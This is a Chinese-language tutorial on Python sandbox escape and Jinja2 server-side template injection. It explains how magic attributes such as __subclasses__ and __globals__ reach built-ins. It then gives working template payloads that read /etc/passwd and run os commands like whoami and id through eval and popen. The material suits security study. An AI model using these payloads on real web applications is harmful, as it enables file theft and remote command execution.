沙盒逃逸的过程就是在一个代码执行的环境下,脱离种种过滤和限制,最终拿到shell权限的过程。也就是绕过各种黑名单最终拿到系统命令执行权限。
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__builtin__ 内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)
我们打开python编译器后就算没有创建任何的变量或者函数,但是在python中我们还是有可以调用的函数,也就是所说的内建函数。
我们通过上述提到的python中的魔术方法,我们就可以利用任何一个变量到基类
中,获得基类中的所有实现的类,然后再调用相应的成员变量。从而达到沙盒逃逸。
众所周知,python是一门面对对象编程的语言,在python中一切皆为对象。均继承Object对象。
__base__
和__mro__
都是用来寻找基类的,通过上图我们可以看到基类都是Object.
获取字符串的类对象
''.__class__
获取基类地址
''.__class__.__mro__
查看实现类和成员
''.__class__.__mro__[1].__subclasses__()
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
不能像字符串对象,列表对象那样直接引用(' ',[ ])
,所以我们只能用上面说到的属性和方法
for c in {}.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
print(c)
print c('test.txt').readlines()
分析一下代码,能够知道基类为Object
然后取Object的所有子类,在子类中寻找file类,如果能找到就使用file构造方法创建对象,再利用readlines()读取文件内容。
用jinja2的语法就是
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{"find!"}}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}
在docker容器中找不到
不过在本地是可以的
然后就去百度了一下为什么找不到file,发现在python3中并没有file类,上述方法只适用于python2
既然file在python3中不能使用,那就找eval,有了它还会发愁嘛!
我们在python2和python3中找__builtins__
找共有的类。然后构造通用的任意执行代码。
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='共有的类':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
jinja2语法
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='共有的类' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
原理和上面大同小异,先取所有子类,看是否有catch_warnings
,变量b在globals__.values()
下进行遍历。
判断变量b的类型是否为{}.__class__
, 如果eval在b.keys中,则执行eval下构造的代码。
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
另外一种payload构造方法
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
{% endif %}
{% endfor %}